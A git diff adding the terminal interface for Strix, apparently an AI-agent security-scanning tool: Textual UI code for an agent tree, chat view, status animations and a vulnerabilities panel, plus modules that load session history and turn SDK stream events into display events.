_hide_splash_screen(self) -> None: + self.show_splash = False + + self._start_scan_thread() + + self.set_interval(0.35, self._update_ui) + + def _update_ui(self) -> None: + if self.show_splash: + return + + if len(self.screen_stack) > 1: + return + + if not self.is_mounted: + return + + try: + chat_history = self.query_one("#chat_history", VerticalScroll) + agents_tree = self.query_one("#agents_tree", Tree) + + if not self._is_widget_safe(chat_history) or not self._is_widget_safe(agents_tree): + return + except (ValueError, Exception): + return + + self._sync_agent_graph() + + for agent_id, agent_data in list(self.live_view.agents.items()): + if agent_id not in self._displayed_agents: + self._add_agent_node(agent_data) + self._displayed_agents.add(agent_id) + else: + self._update_agent_node(agent_id, agent_data) + + self._update_chat_view() + + self._update_agent_status_display() + + self._update_stats_display() + + self._update_vulnerabilities_panel() + + def _sync_agent_graph(self) -> None: + future = self._agent_graph_sync_future + if future is not None: + if not future.done(): + if self._scan_loop is not None and self._scan_loop.is_closed(): + future.cancel() + self._agent_graph_sync_future = None + else: + return + else: + self._agent_graph_sync_future = None + try: + parent_of, statuses, names = future.result() + except Exception: + logger.exception("TUI agent graph sync failed") + else: + for agent_id, status in statuses.items(): + self.live_view.upsert_agent( + agent_id, + name=names.get(agent_id, agent_id), + parent_id=parent_of.get(agent_id), + status=status, + ) + + if self._scan_loop is None or self._scan_loop.is_closed(): + return + + async def collect() -> tuple[dict[str, str | None], dict[str, Any], dict[str, str]]: + return await self.coordinator.graph_snapshot() + + self._agent_graph_sync_future = asyncio.run_coroutine_threadsafe(collect(), self._scan_loop) + + def _update_agent_node(self, agent_id: str, agent_data: dict[str, Any]) -> bool: + if agent_id not in self.agent_nodes: + return False + + try: + agent_node = self.agent_nodes[agent_id] + agent_name_raw = agent_data.get("name", "Agent") + status = agent_data.get("status", "running") + + status_indicators = { + "running": "⚪", + "waiting": "⏸", + "completed": "🟢", + "failed": "🔴", + "stopped": "■", + } + + status_icon = status_indicators.get(status, "○") + vuln_count = self._agent_vulnerability_count(agent_id) + vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else "" + agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}" + + if agent_node.label != agent_name: + agent_node.set_label(agent_name) + return True + + except (KeyError, AttributeError, ValueError) as e: + logger.warning(f"Failed to update agent node label: {e}") + + return False + + def _get_chat_content( + self, + ) -> tuple[Any, str | None]: + if not self.selected_agent_id: + return self._get_chat_placeholder_content("Loading...", "placeholder-no-agent") + + events = self._gather_agent_events(self.selected_agent_id) + + if not events: + return self._get_chat_placeholder_content( + "Starting agent...", "placeholder-no-activity" + ) + + current_event_ids = [f"{e['id']}:{e.get('version', 0)}" for e in events] + if current_event_ids == self._displayed_events: + return None, None + + self._displayed_events = current_event_ids + return self._get_rendered_events_content(events), "chat-content" + + def _update_chat_view(self) -> None: + if len(self.screen_stack) > 1 or self.show_splash or not self.is_mounted: + return + + try: + chat_history = self.query_one("#chat_history", VerticalScroll) + except (ValueError, Exception): + return + + if not self._is_widget_safe(chat_history): + return + + try: + is_at_bottom = chat_history.scroll_y >= chat_history.max_scroll_y + except (AttributeError, ValueError): + is_at_bottom = True + + content, css_class = self._get_chat_content() + if content is None: + return + + chat_display = self.query_one("#chat_display", Static) + self._safe_widget_operation(chat_display.update, content) + chat_display.set_classes(css_class) + + if is_at_bottom: + self.call_later(chat_history.scroll_end, animate=False) + + def _get_chat_placeholder_content( + self, message: str, placeholder_class: str + ) -> tuple[Text, str]: + self._displayed_events = [placeholder_class] + text = Text() + text.append(message) + return text, f"chat-placeholder {placeholder_class}" + + @staticmethod + def _merge_renderables(renderables: list[Any]) -> Text: + """Merge renderables into a single Text for mouse text selection support.""" + combined = Text() + for i, item in enumerate(renderables): + if i > 0: + combined.append("\n") + StrixTUIApp._append_renderable(combined, item) + return StrixTUIApp._sanitize_text(combined) + + @staticmethod + def _sanitize_text(text: Text) -> Text: + """Clamp spans so Rich/Textual can't crash on malformed offsets.""" + plain = text.plain + text_length = len(plain) + sanitized_spans: list[Span] = [] + + for span in text.spans: + start = max(0, min(span.start, text_length)) + end = max(0, min(span.end, text_length)) + if end > start: + sanitized_spans.append(Span(start, end, span.style)) + + return Text( + plain, + style=text.style, + justify=text.justify, + overflow=text.overflow, + no_wrap=text.no_wrap, + end=text.end, + tab_size=text.tab_size, + spans=sanitized_spans, + ) + + @staticmethod + def _append_renderable(combined: Text, item: Any) -> None: + """Recursively append a renderable's text content to a combined Text.""" + if isinstance(item, Text): + combined.append_text(StrixTUIApp._sanitize_text(item)) + elif isinstance(item, Group): + for j, sub in enumerate(item.renderables): + if j > 0: + combined.append("\n") + StrixTUIApp._append_renderable(combined, sub) + else: + inner = getattr(item, "content", None) or getattr(item, "renderable", None) + if inner is not None: + StrixTUIApp._append_renderable(combined, inner) + else: + combined.append(str(item)) + + def _get_rendered_events_content(self, events: list[dict[str, Any]]) -> Any: + renderables: list[Any] = [] + + if not events: + return Text() + + for event in events: + content: Any = None + + if event["type"] == "chat": + content = self._render_chat_content(event["data"]) + elif event["type"] == "tool": + content = render_tool_widget(event["data"]) + + if content: + if renderables: + renderables.append(Text("")) + renderables.append(content) + + if not renderables: + return Text() + + if len(renderables) == 1 and isinstance(renderables[0], Text): + return self._sanitize_text(renderables[0]) + + return self._merge_renderables(renderables) + + def _get_status_display_content( + self, agent_id: str, agent_data: dict[str, Any] + ) -> tuple[Text | None, Text, bool]: + status = agent_data.get("status", "running") + + def keymap_styled(keys: list[tuple[str, str]]) -> Text: + t = Text() + for i, (key, action) in enumerate(keys): + if i > 0: + t.append(" · ", style="dim") + t.append(key, style="white") + t.append(" ", style="dim") + t.append(action, style="dim") + return t + + simple_statuses: dict[str, tuple[str, str]] = { + "stopped": ("Agent stopped", ""), + "completed": ("Agent completed", ""), + } + + if status in simple_statuses: + msg, _ = simple_statuses[status] + text = Text() + text.append(msg) + return (text, Text(), False) + + if status == "failed": + error_msg = agent_data.get("error_message", "") + text = Text() + if error_msg: + text.append(error_msg, style="red") + else: + text.append("Scan failed", style="red") + self._stop_dot_animation() + return (text, Text(), False) + + if status == "waiting": + text = Text() + text.append("Send message to resume", style="dim") + return (text, Text(), False) + + if status == "running": + if self._agent_has_real_activity(agent_id): + animated_text = Text() + animated_text.append_text(self._get_sweep_animation(self._sweep_colors)) + animated_text.append("esc", style="white") + animated_text.append(" ", style="dim") + animated_text.append("stop", style="dim") + return (animated_text, keymap_styled([("ctrl-q", "quit")]), True) + animated_text = self._get_animated_verb_text(agent_id, "Initializing") + return (animated_text, keymap_styled([("ctrl-q", "quit")]), True) + + return (None, Text(), False) + + def _update_agent_status_display(self) -> None: + try: + status_display = self.query_one("#agent_status_display", Horizontal) + status_text = self.query_one("#status_text", Static) + keymap_indicator = self.query_one("#keymap_indicator", Static) + except (ValueError, Exception): + return + + widgets = [status_display, status_text, keymap_indicator] + if not all(self._is_widget_safe(w) for w in widgets): + return + + if not self.selected_agent_id: + self._safe_widget_operation(status_display.add_class, "hidden") + return + + try: + agent_data = self.live_view.agents[self.selected_agent_id] + content, keymap, should_animate = self._get_status_display_content( + self.selected_agent_id, agent_data + ) + + if not content: + self._safe_widget_operation(status_display.add_class, "hidden") + return + + self._safe_widget_operation(status_text.update, content) + self._safe_widget_operation(keymap_indicator.update, keymap) + self._safe_widget_operation(status_display.remove_class, "hidden") + + if should_animate: + self._start_dot_animation() + + except (KeyError, Exception): + self._safe_widget_operation(status_display.add_class, "hidden") + + def _update_stats_display(self) -> None: + try: + stats_display = self.query_one("#stats_display", Static) + except (ValueError, Exception): + return + + if not self._is_widget_safe(stats_display): + return + + if self.screen.selections: + return + + stats_content = Text() + + stats_text = build_tui_stats_text(self.report_state) + if stats_text: + stats_content.append(stats_text) + + version = get_package_version() + stats_content.append(f"\nv{version}", style="white") + + self._safe_widget_operation(stats_display.update, stats_content) + + def _update_vulnerabilities_panel(self) -> None: + """Update the vulnerabilities panel with current vulnerability data.""" + try: + vuln_panel = self.query_one("#vulnerabilities_panel", VulnerabilitiesPanel) + except (ValueError, Exception): + return + + if not self._is_widget_safe(vuln_panel): + return + + vulnerabilities = self.report_state.vulnerability_reports + + if not vulnerabilities: + self._safe_widget_operation(vuln_panel.add_class, "hidden") + return + + enriched_vulns = [] + for vuln in vulnerabilities: + enriched = dict(vuln) + agent_name = enriched.get("agent_name") + agent_id = enriched.get("agent_id") + if not agent_name and isinstance(agent_id, str): + agent_name = self._get_agent_name(agent_id) + if agent_name: + enriched["agent_name"] = agent_name + enriched_vulns.append(enriched) + + self._safe_widget_operation(vuln_panel.remove_class, "hidden") + vuln_panel.update_vulnerabilities(enriched_vulns) + + def _get_sweep_animation(self, color_palette: list[str]) -> Text: + text = Text() + num_squares = self._sweep_num_squares + num_colors = len(color_palette) + + offset = num_colors - 1 + max_pos = (num_squares - 1) + offset + total_range = max_pos + offset + cycle_length = total_range * 2 + frame_in_cycle = self._spinner_frame_index % cycle_length + + wave_pos = total_range - abs(total_range - frame_in_cycle) + sweep_pos = wave_pos - offset + + dot_color = "#0a3d1f" + + for i in range(num_squares): + dist = abs(i - sweep_pos) + color_idx = max(0, num_colors - 1 - dist) + + if color_idx == 0: + text.append("·", style=Style(color=dot_color)) + else: + color = color_palette[color_idx] + text.append("▪", style=Style(color=color)) + + text.append(" ") + return text + + def _get_animated_verb_text(self, agent_id: str, verb: str) -> Text: # noqa: ARG002 + text = Text() + sweep = self._get_sweep_animation(self._sweep_colors) + text.append_text(sweep) + parts = verb.split(" ", 1) + text.append(parts[0], style="white") + if len(parts) > 1: + text.append(" ", style="dim") + text.append(parts[1], style="dim") + return text + + def _start_dot_animation(self) -> None: + if self._dot_animation_timer is None: + self._dot_animation_timer = self.set_interval(0.06, self._animate_dots) + + def _stop_dot_animation(self) -> None: + if self._dot_animation_timer is not None: + self._dot_animation_timer.stop() + self._dot_animation_timer = None + + def _animate_dots(self) -> None: + has_active_agents = False + + if self.selected_agent_id and self.selected_agent_id in self.live_view.agents: + agent_data = self.live_view.agents[self.selected_agent_id] + status = agent_data.get("status", "running") + if status in ["running", "waiting"]: + has_active_agents = True + num_colors = len(self._sweep_colors) + offset = num_colors - 1 + max_pos = (self._sweep_num_squares - 1) + offset + total_range = max_pos + offset + cycle_length = total_range * 2 + self._spinner_frame_index = (self._spinner_frame_index + 1) % cycle_length + self._update_agent_status_display() + + if not has_active_agents: + has_active_agents = any( + agent_data.get("status", "running") in ["running", "waiting"] + for agent_data in self.live_view.agents.values() + ) + + if not has_active_agents: + self._stop_dot_animation() + self._spinner_frame_index = 0 + + def _agent_has_real_activity(self, agent_id: str) -> bool: + return self.live_view.has_events_for_agent(agent_id) + + def _agent_vulnerability_count(self, agent_id: str) -> int: + return sum( + 1 + for vuln in self.report_state.vulnerability_reports + if vuln.get("agent_id") == agent_id + ) + + def _gather_agent_events(self, agent_id: str) -> list[dict[str, Any]]: + events = self.live_view.events_for_agent(agent_id) + events.sort(key=lambda e: (e["timestamp"], e["id"])) + return events + + def watch_selected_agent_id(self, _agent_id: str | None) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + self._displayed_events.clear() + + self.call_later(self._update_chat_view) + self._update_agent_status_display() + + def _start_scan_thread(self) -> None: + def scan_target() -> None: + try: + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + self._scan_loop = loop + + try: + if not self._scan_stop_event.is_set(): + image = load_settings().runtime.image or "strix-sandbox:latest" + loop.run_until_complete( + run_strix_scan( + scan_config=self.scan_config, + scan_id=self.scan_config["run_name"], + image=str(image), + local_sources=getattr(self.args, "local_sources", None) or [], + coordinator=self.coordinator, + interactive=True, + max_budget_usd=getattr(self.args, "max_budget_usd", None), + event_sink=self._capture_sdk_event, + ), + ) + + except (KeyboardInterrupt, asyncio.CancelledError): + logger.info("Scan interrupted by user") + except BudgetExceededError: + # Defensive: the runner stops the scan cleanly on budget and + # returns, so this normally never propagates. Treat it as a + # graceful stop, not a scan error, if it ever does. + logger.info("Scan stopped: --max-budget-usd limit reached") + except (ConnectionError, TimeoutError) as e: + logging.exception("Network error during scan") + self._scan_error = e + except RuntimeError as e: + logging.exception("Runtime error during scan") + self._scan_error = e + except Exception as e: + logging.exception("Unexpected error during scan") + self._scan_error = e + finally: + with contextlib.suppress(Exception): + loop.run_until_complete( + session_manager.cleanup(self.scan_config["run_name"]), + ) + loop.close() + self._scan_completed.set() + + except Exception: + logging.exception("Error setting up scan thread") + self._scan_completed.set() + + self._scan_thread = threading.Thread(target=scan_target, daemon=True) + self._scan_thread.start() + + def _capture_sdk_event(self, agent_id: str, event: Any) -> None: + try: + self.call_from_thread(self._record_sdk_event, agent_id, event) + except RuntimeError: + self._record_sdk_event(agent_id, event) + + def _record_sdk_event(self, agent_id: str, event: Any) -> None: + self.live_view.ingest_sdk_event(agent_id, event) + + def _add_agent_node(self, agent_data: dict[str, Any]) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + agent_id = agent_data["id"] + parent_id = agent_data.get("parent_id") + status = agent_data.get("status", "running") + + try: + agents_tree = self.query_one("#agents_tree", Tree) + except (ValueError, Exception): + return + + agent_name_raw = agent_data.get("name", "Agent") + + status_indicators = { + "running": "⚪", + "waiting": "⏸", + "completed": "🟢", + "failed": "🔴", + "stopped": "■", + } + + status_icon = status_indicators.get(status, "○") + vuln_count = self._agent_vulnerability_count(agent_id) + vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else "" + agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}" + + try: + if parent_id and parent_id in self.agent_nodes: + parent_node = self.agent_nodes[parent_id] + agent_node = parent_node.add( + agent_name, + data={"agent_id": agent_id}, + ) + parent_node.allow_expand = True + else: + agent_node = agents_tree.root.add( + agent_name, + data={"agent_id": agent_id}, + ) + + agent_node.allow_expand = False + agent_node.expand() + self.agent_nodes[agent_id] = agent_node + + if len(self.agent_nodes) == 1: + agents_tree.select_node(agent_node) + self.selected_agent_id = agent_id + + self._reorganize_orphaned_agents(agent_id) + except (AttributeError, ValueError, RuntimeError) as e: + logger.warning(f"Failed to add agent node {agent_id}: {e}") + + def _copy_node_under(self, node_to_copy: TreeNode, new_parent: TreeNode) -> None: + agent_id = node_to_copy.data["agent_id"] + agent_data = self.live_view.agents.get(agent_id, {}) + agent_name_raw = agent_data.get("name", "Agent") + status = agent_data.get("status", "running") + + status_indicators = { + "running": "⚪", + "waiting": "⏸", + "completed": "🟢", + "failed": "🔴", + "stopped": "■", + } + + status_icon = status_indicators.get(status, "○") + vuln_count = self._agent_vulnerability_count(agent_id) + vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else "" + agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}" + + new_node = new_parent.add( + agent_name, + data=node_to_copy.data, + ) + new_node.allow_expand = node_to_copy.allow_expand + + self.agent_nodes[agent_id] = new_node + + for child in node_to_copy.children: + self._copy_node_under(child, new_node) + + if node_to_copy.is_expanded: + new_node.expand() + + def _reorganize_orphaned_agents(self, new_parent_id: str) -> None: + agents_to_move = [] + + for agent_id, agent_data in list(self.live_view.agents.items()): + if ( + agent_data.get("parent_id") == new_parent_id + and agent_id in self.agent_nodes + and agent_id != new_parent_id + ): + agents_to_move.append(agent_id) + + if not agents_to_move: + return + + parent_node = self.agent_nodes[new_parent_id] + + for child_agent_id in agents_to_move: + if child_agent_id in self.agent_nodes: + old_node = self.agent_nodes[child_agent_id] + + if old_node.parent is parent_node: + continue + + self._copy_node_under(old_node, parent_node) + + old_node.remove() + + parent_node.allow_expand = True + parent_node.expand() + + def _render_chat_content(self, msg_data: dict[str, Any]) -> Any: + role = msg_data.get("role") + content = msg_data.get("content", "") + metadata = msg_data.get("metadata", {}) + + if not content: + return None + + del metadata + if role == "user": + return UserMessageRenderer.render_simple(content) + + return AgentMessageRenderer.render_simple(content) + + @on(Tree.NodeHighlighted) # type: ignore[misc] + def handle_tree_highlight(self, event: Tree.NodeHighlighted) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + node = event.node + + try: + agents_tree = self.query_one("#agents_tree", Tree) + except (ValueError, Exception): + return + + if self.focused == agents_tree and node.data: + agent_id = node.data.get("agent_id") + if agent_id: + self.selected_agent_id = agent_id + + @on(Tree.NodeSelected) # type: ignore[misc] + def handle_tree_node_selected(self, event: Tree.NodeSelected) -> None: + if len(self.screen_stack) > 1 or self.show_splash: + return + + if not self.is_mounted: + return + + node = event.node + + if node.allow_expand: + if node.is_expanded: + node.collapse() + else: + node.expand() + + def _send_user_message(self, message: str) -> None: + if not self.selected_agent_id: + return + + logger.info( + "TUI: user message -> %s (len=%d)", + self.selected_agent_id, + len(message), + ) + target_agent_id = self.selected_agent_id + + submitted = send_user_message_to_agent( + coordinator=self.coordinator, + loop=self._scan_loop, + live_view=self.live_view, + target_agent_id=target_agent_id, + message=message, + ) + if not submitted: + self.notify("Scan loop is not ready; message was not sent", severity="warning") + return + + self._displayed_events.clear() + self._update_chat_view() + + self.call_after_refresh(self._focus_chat_input) + + def _get_agent_name(self, agent_id: str) -> str: + try: + if agent_id in self.live_view.agents: + agent_name = self.live_view.agents[agent_id].get("name") + if isinstance(agent_name, str): + return agent_name + except (KeyError, AttributeError) as e: + logger.warning(f"Could not retrieve agent name for {agent_id}: {e}") + return "Unknown Agent" + + def action_toggle_help(self) -> None: + if self.show_splash or not self.is_mounted: + return + + try: + self.query_one("#main_container") + except (ValueError, Exception): + return + + if isinstance(self.screen, HelpScreen): + self.pop_screen() + return + + if len(self.screen_stack) > 1: + return + + self.push_screen(HelpScreen()) + + async def action_request_quit(self) -> None: + if self.show_splash or not self.is_mounted: + await self.action_custom_quit() + return + + if len(self.screen_stack) > 1: + return + + try: + self.query_one("#main_container") + except (ValueError, Exception): + await self.action_custom_quit() + return + + self.push_screen(QuitScreen()) + + def action_stop_selected_agent(self) -> None: + if self.show_splash or not self.is_mounted: + return + + if len(self.screen_stack) > 1: + self.pop_screen() + return + + if not self.selected_agent_id: + return + + agent_name, should_stop = self._validate_agent_for_stopping() + if not should_stop: + return + + try: + self.query_one("#main_container") + except (ValueError, Exception): + return + + self.push_screen(StopAgentScreen(agent_name, self.selected_agent_id)) + + def _validate_agent_for_stopping(self) -> tuple[str, bool]: + agent_name = "Unknown Agent" + + try: + if self.selected_agent_id in self.live_view.agents: + agent_data = self.live_view.agents[self.selected_agent_id] + agent_name = agent_data.get("name", "Unknown Agent") + + agent_status = agent_data.get("status", "running") + if agent_status not in ["running", "waiting"]: + return agent_name, False + + agent_events = self._gather_agent_events(self.selected_agent_id) + if not agent_events: + return agent_name, False + + return agent_name, True + + except (KeyError, AttributeError, ValueError) as e: + logger.warning(f"Failed to gather agent events: {e}") + + return agent_name, False + + def action_confirm_stop_agent(self, agent_id: str) -> None: + if self._scan_loop is None or self._scan_loop.is_closed(): + logger.warning("No active scan loop; cannot stop agent %s", agent_id) + return + logger.info("TUI: graceful stop requested for %s (cascade)", agent_id) + asyncio.run_coroutine_threadsafe( + self.coordinator.cancel_descendants_graceful(agent_id), + self._scan_loop, + ) + + async def action_custom_quit(self) -> None: + self._fire_sandbox_cleanup() + + if self._scan_thread and self._scan_thread.is_alive(): + self._scan_stop_event.set() + + self.report_state.cleanup() + + self.exit() + + def _fire_sandbox_cleanup(self) -> None: + self.coordinator.mark_shutting_down() + loop = self._scan_loop + if loop is None or loop.is_closed(): + return + run_name = self.scan_config.get("run_name") + if not run_name: + return + with contextlib.suppress(Exception): + asyncio.run_coroutine_threadsafe(session_manager.cleanup(run_name), loop) + + def _is_widget_safe(self, widget: Any) -> bool: + try: + _ = widget.screen + except (AttributeError, ValueError, Exception): + return False + else: + return bool(widget.is_mounted) + + def _safe_widget_operation( + self, operation: Callable[..., Any], *args: Any, **kwargs: Any + ) -> bool: + try: + operation(*args, **kwargs) + except (AttributeError, ValueError, Exception): + return False + else: + return True + + def on_resize(self, event: events.Resize) -> None: + if self.show_splash or not self.is_mounted: + return + + try: + sidebar = self.query_one("#sidebar", Vertical) + chat_area = self.query_one("#chat_area_container", Vertical) + except (ValueError, Exception): + return + + if event.size.width < self.SIDEBAR_MIN_WIDTH: + sidebar.add_class("-hidden") + chat_area.add_class("-full-width") + else: + sidebar.remove_class("-hidden") + chat_area.remove_class("-full-width") + + def on_mouse_up(self, _event: events.MouseUp) -> None: + self.set_timer(0.05, self._auto_copy_selection) + + _ICON_PREFIXES: ClassVar[tuple[str, ...]] = ( + "🐞 ", + "🌐 ", + "📋 ", + "🧠 ", + "◆ ", + "◇ ", + "◈ ", + "→ ", + "○ ", + "● ", + "✓ ", + "✗ ", + "⚠ ", + "▍ ", + "▍", + "┃ ", + "• ", + ">_ ", + " ", + "<~> ", + "[ ] ", + "[~] ", + "[•] ", + ) + + _DECORATIVE_LINES: ClassVar[frozenset[str]] = frozenset( + { + "● In progress...", + "✓ Done", + "✗ Failed", + "✗ Error", + "○ Unknown", + } + ) + + @staticmethod + def _clean_copied_text(text: str) -> str: + lines = text.split("\n") + cleaned: list[str] = [] + for line in lines: + stripped = line.lstrip() + if stripped in StrixTUIApp._DECORATIVE_LINES: + continue + if stripped and all(c == "─" for c in stripped): + continue + out = line + for prefix in StrixTUIApp._ICON_PREFIXES: + if stripped.startswith(prefix): + leading = line[: len(line) - len(line.lstrip())] + out = leading + stripped[len(prefix) :] + break + cleaned.append(out) + return "\n".join(cleaned) + + def _auto_copy_selection(self) -> None: + copied = False + + try: + if self.screen.selections: + selected = self.screen.get_selected_text() + self.screen.clear_selection() + if selected and selected.strip(): + cleaned = self._clean_copied_text(selected) + self.copy_to_clipboard(cleaned if cleaned.strip() else selected) + copied = True + except Exception: + logger.debug("Failed to copy screen selection", exc_info=True) + + if not copied: + try: + chat_input = self.query_one("#chat_input", ChatTextArea) + selected = chat_input.selected_text + if selected and selected.strip(): + self.copy_to_clipboard(selected) + chat_input.move_cursor(chat_input.cursor_location) + copied = True + except Exception: + logger.debug("Failed to copy chat input selection", exc_info=True) + + if copied: + self.notify("Copied to clipboard", timeout=2) + + +async def run_tui(args: argparse.Namespace) -> None: + app = StrixTUIApp(args) + await app.run_async() + if app._scan_error is not None: + raise app._scan_error diff --git a/strix/interface/tui/history.py b/strix/interface/tui/history.py new file mode 100644 index 000000000..1598b1a3d --- /dev/null +++ b/strix/interface/tui/history.py @@ -0,0 +1,60 @@ +"""Historical SDK session loading for the TUI.""" + +from __future__ import annotations + +import json +import logging +import sqlite3 +from datetime import UTC, datetime +from typing import TYPE_CHECKING, Any + +from strix.core.paths import runtime_state_dir + + +if TYPE_CHECKING: + from pathlib import Path + + +logger = logging.getLogger(__name__) + + +def load_session_history(run_dir: Path, agent_ids: Any) -> list[tuple[str, dict[str, Any], str]]: + agents_db = runtime_state_dir(run_dir) / "agents.db" + session_ids = [aid for aid in agent_ids if isinstance(aid, str)] + if not agents_db.exists() or not session_ids: + return [] + session_id_set = set(session_ids) + try: + with sqlite3.connect(agents_db) as conn: + rows = conn.execute( + "select id, session_id, message_data, created_at from agent_messages order by id" + ).fetchall() + except sqlite3.Error: + logger.exception("Failed to hydrate TUI history from %s", agents_db) + return [] + + items: list[tuple[str, dict[str, Any], str]] = [] + for row_id, agent_id, message_data, created_at in rows: + if agent_id not in session_id_set: + continue + try: + item = json.loads(message_data) + except (TypeError, json.JSONDecodeError): + logger.debug("Skipping unreadable SDK session item %s for %s", row_id, agent_id) + continue + if isinstance(item, dict): + items.append((str(agent_id), item, _sqlite_timestamp_to_iso(created_at))) + return items + + +def _sqlite_timestamp_to_iso(value: Any) -> str: + if not isinstance(value, str) or not value.strip(): + return datetime.now(UTC).isoformat() + text = value.strip() + try: + parsed = datetime.fromisoformat(text) + except ValueError: + return text + if parsed.tzinfo is None: + parsed = parsed.replace(tzinfo=UTC) + return parsed.astimezone(UTC).isoformat() diff --git a/strix/interface/tui/live_view.py b/strix/interface/tui/live_view.py new file mode 100644 index 000000000..993074d67 --- /dev/null +++ b/strix/interface/tui/live_view.py @@ -0,0 +1,356 @@ +"""TUI-owned projection of SDK session history and stream events.""" + +from __future__ import annotations + +import json +from datetime import UTC, datetime +from typing import TYPE_CHECKING, Any + + +if TYPE_CHECKING: + from pathlib import Path + +from strix.core.paths import runtime_state_dir +from strix.interface.tui.history import load_session_history + + +class TuiLiveView: + def __init__(self) -> None: + self.agents: dict[str, dict[str, Any]] = {} + self.events: list[dict[str, Any]] = [] + self._next_event_id = 1 + self._open_assistant_event_by_agent: dict[str, dict[str, Any]] = {} + self._tool_event_by_call_id: dict[str, dict[str, Any]] = {} + + def hydrate_from_run_dir(self, run_dir: Path) -> None: + state_dir = runtime_state_dir(run_dir) + agents_path = state_dir / "agents.json" + if not agents_path.exists(): + return + try: + agents_data = json.loads(agents_path.read_text(encoding="utf-8")) + except (OSError, json.JSONDecodeError): + return + statuses = agents_data.get("statuses") or {} + names = agents_data.get("names") or {} + parent_of = agents_data.get("parent_of") or {} + if not isinstance(statuses, dict): + return + for agent_id, status in statuses.items(): + if not isinstance(agent_id, str): + continue + self.upsert_agent( + agent_id, + name=names.get(agent_id, agent_id) if isinstance(names, dict) else agent_id, + parent_id=parent_of.get(agent_id) if isinstance(parent_of, dict) else None, + status=str(status), + ) + self._hydrate_sdk_session_history(run_dir, statuses.keys()) + + def _hydrate_sdk_session_history(self, run_dir: Path, agent_ids: Any) -> None: + for agent_id, item, timestamp in load_session_history(run_dir, agent_ids): + self._ingest_session_history_item( + agent_id, + item, + timestamp=timestamp, + ) + + def upsert_agent( + self, + agent_id: str, + *, + name: str | None = None, + parent_id: str | None = None, + status: str | None = None, + error_message: str | None = None, + ) -> None: + now = datetime.now(UTC).isoformat() + current = self.agents.setdefault( + agent_id, + { + "id": agent_id, + "name": name or agent_id, + "parent_id": parent_id, + "status": status or "running", + "created_at": now, + "updated_at": now, + }, + ) + if name is not None: + current["name"] = name + if parent_id is not None or "parent_id" not in current: + current["parent_id"] = parent_id + if status is not None: + current["status"] = status + if error_message: + current["error_message"] = error_message + current["updated_at"] = now + + def record_user_message(self, agent_id: str, content: str) -> None: + self._append_event( + agent_id, + "chat", + { + "role": "user", + "content": content, + "metadata": {"source": "tui_user"}, + }, + ) + + def ingest_sdk_event(self, agent_id: str, event: Any) -> None: + event_type = getattr(event, "type", "") + if event_type == "raw_response_event": + self._ingest_raw_response_event(agent_id, getattr(event, "data", None)) + return + if event_type != "run_item_stream_event": + return + + item = getattr(event, "item", None) + item_type = getattr(item, "type", "") + if item_type == "message_output_item": + self._record_assistant_message(agent_id, _sdk_message_text(item), final=True) + elif item_type == "tool_call_item": + self._record_tool_call(agent_id, item) + elif item_type == "tool_call_output_item": + self._record_tool_output(agent_id, item) + + def events_for_agent(self, agent_id: str) -> list[dict[str, Any]]: + return [event for event in self.events if event.get("agent_id") == agent_id] + + def has_events_for_agent(self, agent_id: str) -> bool: + return any(event.get("agent_id") == agent_id for event in self.events) + + def _ingest_raw_response_event(self, agent_id: str, data: Any) -> None: + data_type = getattr(data, "type", "") + if data_type == "response.output_text.delta": + delta = getattr(data, "delta", "") + if delta: + self._record_assistant_message(agent_id, str(delta), final=False) + + def _ingest_session_history_item( + self, + agent_id: str, + item: dict[str, Any], + *, + timestamp: str, + ) -> None: + item_type = item.get("type") + role = item.get("role") + if role in {"user", "assistant"} and (item_type in {None, "message"}): + content = _session_message_text(item) + if content: + self._append_event( + agent_id, + "chat", + { + "role": role, + "content": content, + "metadata": {"source": "sdk_session"}, + }, + timestamp=timestamp, + ) + return + + if item_type == "function_call": + self._record_tool_call_data( + agent_id, + { + "call_id": str(item.get("call_id") or item.get("id") or ""), + "tool_name": str(item.get("name") or "tool"), + "args": _parse_json_object(item.get("arguments")), + }, + timestamp=timestamp, + ) + return + + if item_type == "function_call_output": + self._record_tool_output_data( + agent_id, + { + "call_id": str(item.get("call_id") or item.get("id") or ""), + "tool_name": "tool", + "output": item.get("output"), + }, + timestamp=timestamp, + ) + + def _record_assistant_message(self, agent_id: str, content: str, *, final: bool) -> None: + if not content: + return + existing = self._open_assistant_event_by_agent.get(agent_id) + if existing is None: + event = self._append_event( + agent_id, + "chat", + { + "role": "assistant", + "content": content, + "metadata": {"source": "sdk_stream", "streaming": not final}, + }, + ) + if not final: + self._open_assistant_event_by_agent[agent_id] = event + return + + data = existing["data"] + if final: + data["content"] = content + data["metadata"]["streaming"] = False + self._open_assistant_event_by_agent.pop(agent_id, None) + else: + data["content"] = f"{data.get('content', '')}{content}" + self._bump_event(existing) + + def _record_tool_call(self, agent_id: str, item: Any) -> None: + self._record_tool_call_data(agent_id, _sdk_tool_call_data(item)) + + def _record_tool_call_data( + self, + agent_id: str, + call: dict[str, Any], + *, + timestamp: str | None = None, + ) -> None: + call_id = call["call_id"] + existing = self._tool_event_by_call_id.get(call_id) + tool_data = { + "tool_name": call["tool_name"], + "args": call["args"], + "status": "running", + "agent_id": agent_id, + "call_id": call_id, + } + if existing is None: + event = self._append_event(agent_id, "tool", tool_data, timestamp=timestamp) + self._tool_event_by_call_id[call_id] = event + else: + existing["data"].update(tool_data) + self._bump_event(existing, timestamp=timestamp) + + def _record_tool_output(self, agent_id: str, item: Any) -> None: + self._record_tool_output_data(agent_id, _sdk_tool_output_data(item)) + + def _record_tool_output_data( + self, + agent_id: str, + output: dict[str, Any], + *, + timestamp: str | None = None, + ) -> None: + call_id = output["call_id"] + event = self._tool_event_by_call_id.get(call_id) + if event is None: + event = self._append_event( + agent_id, + "tool", + { + "tool_name": output["tool_name"], + "args": {}, + "status": "completed", + "agent_id": agent_id, + "call_id": call_id, + }, + timestamp=timestamp, + ) + self._tool_event_by_call_id[call_id] = event + + result = _parse_json_value(output["output"]) + event["data"]["result"] = result + event["data"]["status"] = _tool_status_from_result(result) + 